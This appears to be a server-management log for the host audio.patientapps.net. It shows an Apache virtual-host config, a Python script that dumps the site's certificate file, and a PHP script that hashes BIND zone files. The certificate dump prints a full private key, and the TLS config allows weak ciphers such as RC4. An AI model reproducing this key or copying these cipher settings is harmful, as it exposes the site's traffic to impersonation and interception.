----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_audio_net.conf	1469

<VirtualHost *:80>
    ServerName	audio.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_audio
    <Directory /var/www/patientapps_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/audio_access.log combined
    ErrorLog	/var/log/apache2/patientapps/audio_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.3-sii.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	audio.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt
    DocumentRoot	/var/www/patientapps_audio
    <Directory /var/www/patientapps_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/audio_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/audio_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>







2026-02-01 12:19:56: 

PUT: /tmp/pkp541223

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-01 12:19:56: 

chmod 755 /tmp/pkp541223; /tmp/pkp541223; rm /tmp/pkp541223

2026-02-01 12:19:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt	5369
00:2e:5b:d2:8e:38:99:13:1e:7a:7a:7a:75:ae:a0:b3

-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBrxZlQ/EBE7NqEK/KUHWVs8TMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjAxMTEyMTIzWhcNMjYwNTAyMTEyMTIyWjAgMR4wHAYDVQQD
ExVhdWRpby5wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDJ5e6kD5PQ7+QHAf/omNYi+sNDNuFyTbAsGn4XowdoBhiB6OFTAJ2N
hrtcLc53s73A6FjjUsH/q5GuITVmsOnlR3bT7gT3lTzymFKiXnkoIjsZGMir+FQz
0rbnEtSWxajT02NP8GB/hg6Mh3xkSzoCkQ9qpTwQl0bfMRaerD/L62ZK4X/gyuSw
Vw9fDqgrxt97PVP6/2jCK6FwwGX+v8pNzSXGa8Bv0hTvU5MMDG5HY30wzoTHfIPY
i84ZJeCgMT45JFW/hrH+a49qPkAQ/WvinIrsgISgGyIXwlhWG0gf/Xn4W1UnRpi4
eGAZiz8j7UCUc4icIWz6JBZ/2ZiNPtMzAgMBAAGjggInMIICIzAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFJcRFu0nVuwjhjXrolS03udlaaEUMB8GA1UdIwQYMBaAFAC1
KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVYXVkaW8ucGF0aWVu
dGFwcHMubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMjAuY3JsMIIBBgYKKwYBBAHWeQIEAgSB
9wSB9ADyAHcADleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGcGSUy
2wAABAMASDBGAiEAkd6NGNiP4MhjM/jlCwyyhjEReoRqJCiJu8Wg37zACiQCIQDN
UyxAIfLlkuedhivODmQFOx9aaqeDu8nZXRfaJl1mvQB3ANFuqaVoB35mNaA/N6Xd
vAOlPEESFNSIGPXpMbMjy5UEAAABnBklM74AAAQDAEgwRgIhAKPGPckP5ioBZe3L
X0oFn1LCsE8Ea6nXhfi+DodpdVQqAiEAnCy3mkkHRPhMsaERXFEEpgI56ztkPy5O
V05FF0sADl4wDQYJKoZIhvcNAQELBQADggEBAGJNVUDEPXlIQgT09+1Eo5en1pfT
W/CP7tGqspQ5hHQrwwwfU1mdJXagLLPNnHI8cHqCOeQxcr4baw7UVM1mANUAA+fS
emf+f8aif9Qg1PqxsHAlflbP6y8MDmKSUsa16E6FTHEM17sDumvMKoP3bpQq/Xd3
/Nhi+kD5dVKXaX+lVDK4XBZhVBUiCWdxkP+GAi3NSfCEK1eY5EImTE0Hrm/DnSSC
up1q9r43q4kGAcctPJtWCkXqZlP+eCSqSb2SFViwHXTcL+26A99Ys4P3qg7TTCo2
p4jV7jV4L0MqX7XxAZgfP6lMFimxdf57g9IdWcJvTKb0Z1I3MzfNHg/hdDc=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDJ5e6kD5PQ7+QH
Af/omNYi+sNDNuFyTbAsGn4XowdoBhiB6OFTAJ2NhrtcLc53s73A6FjjUsH/q5Gu
ITVmsOnlR3bT7gT3lTzymFKiXnkoIjsZGMir+FQz0rbnEtSWxajT02NP8GB/hg6M
h3xkSzoCkQ9qpTwQl0bfMRaerD/L62ZK4X/gyuSwVw9fDqgrxt97PVP6/2jCK6Fw
wGX+v8pNzSXGa8Bv0hTvU5MMDG5HY30wzoTHfIPYi84ZJeCgMT45JFW/hrH+a49q
PkAQ/WvinIrsgISgGyIXwlhWG0gf/Xn4W1UnRpi4eGAZiz8j7UCUc4icIWz6JBZ/
2ZiNPtMzAgMBAAECggEAYjakepGLVfnEYrZRz0u962Ex6HoDfI+XMjUm/oeTfEJu
3I81QSPNAMI4VVSBGhDJL1S3nMmuzpke8mZ8LDrGZP75KoogR3IFJnv7wrmTVXcl
aYV5ZNKV32nTCKBL4xY/FOBBcOsdfhtv62OjGsTPcN0w8y9zAx0b4EnoV4KyPBcm
eRiGsnH1w9piagrNYJjEf588yb6NS/bC2qsoIobbExCjCy5z9TNVjqtzzWve2Cuh
ai0jAJqWb2lEp5V2lnGcYQC3vxC4ZeUuZLeeWPi6Nmrs/jpJm6jGHlwypCXYosID
dwIIl7e5Eei1bx8K5NIrSv4avDkTgHKyrbi7rT+qHQKBgQD3rtrIqzKeNykCNq9I
MhNaT2iq+BaxTa0h4Tr03Gea8OC6F+pE1dk+NVKilS4jwOE2LNMMDMHjc8kn7vbH
uKKYZ2toLdueZRcmGs4/XxzsliMO2sNqlKuXFZqzhaMVYmeDDukgfmOe0Jm1I16N
RVCefCahQuTIsv89rMNUmqjnBwKBgQDQrX/eqCpY2wINjkeFwNb50NEiwQ94EPMu
+OUJV1GA1PQ9r/aYVN4c55Twsr4WtzLspMQuABt86cFgNGe7PU7Pjd5C7O3pEjqE
L/754npThKCMF4aq80Ikq07ZpyOn/lzNHqH7uqaDGNWcexx4WAZVwrShFWSeAJU0
nrhZ/XSbdQKBgQCr/dLVR/R1Y25pqBmds5A2xS+0kWQIqRzRivqKsEaNlDkpYJQA
StN5XEPOvHL2xuhc21GOa4lz7aJAxbK+S5s045P1GusHmcEyZ6jS3rRSIYuktArB
Bw4Ecy8i/Gib3+JrYr5GHx4EWWxzGWV+CiUKeMHGd5IxQAL4C/Dz3hXtnwKBgQCB
KFGzixwiwPLlVwG3rGKiXneC7kFXzA3oLc782BmvBp9hKu8S27xZ4ZAS5l63Co6v
X0+5NQHOb5PrqqPlhQ2pcyJ1A9ZA4rJrLJXBLkcOOFFyRAFq/4MZ1RnJpyRvjwT7
RBF4D8+N5qoX3y8A4WKSZB+OcAJFtRCkb/SkZjZtHQKBgQDKazOj48xQRtgUIiy8
sH1PC3g4VDliLtQlVZoQWuGuNVvNWsi4mjf4KafV98s9sIWeLFdNpLIMjLGA4bj8
ZvdVlvnz2U9FCfCwBoRIaz/VdtTdFCL0QSH/3v5wAnZ3Nrfv47MZ8caZyZ3hI/mj
DWYjsucowUCU386B4O0P+sOSkw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-02-01 20:54:10: Establishing a connection
2026-02-01 20:54:10: 

PUT: /tmp/pkp634559

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-01 20:54:11: 

runuser -l bind -s /bin/bash -c '/tmp/pkp634559; rm /tmp/pkp634559'

2026-02-01 20:54:11: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
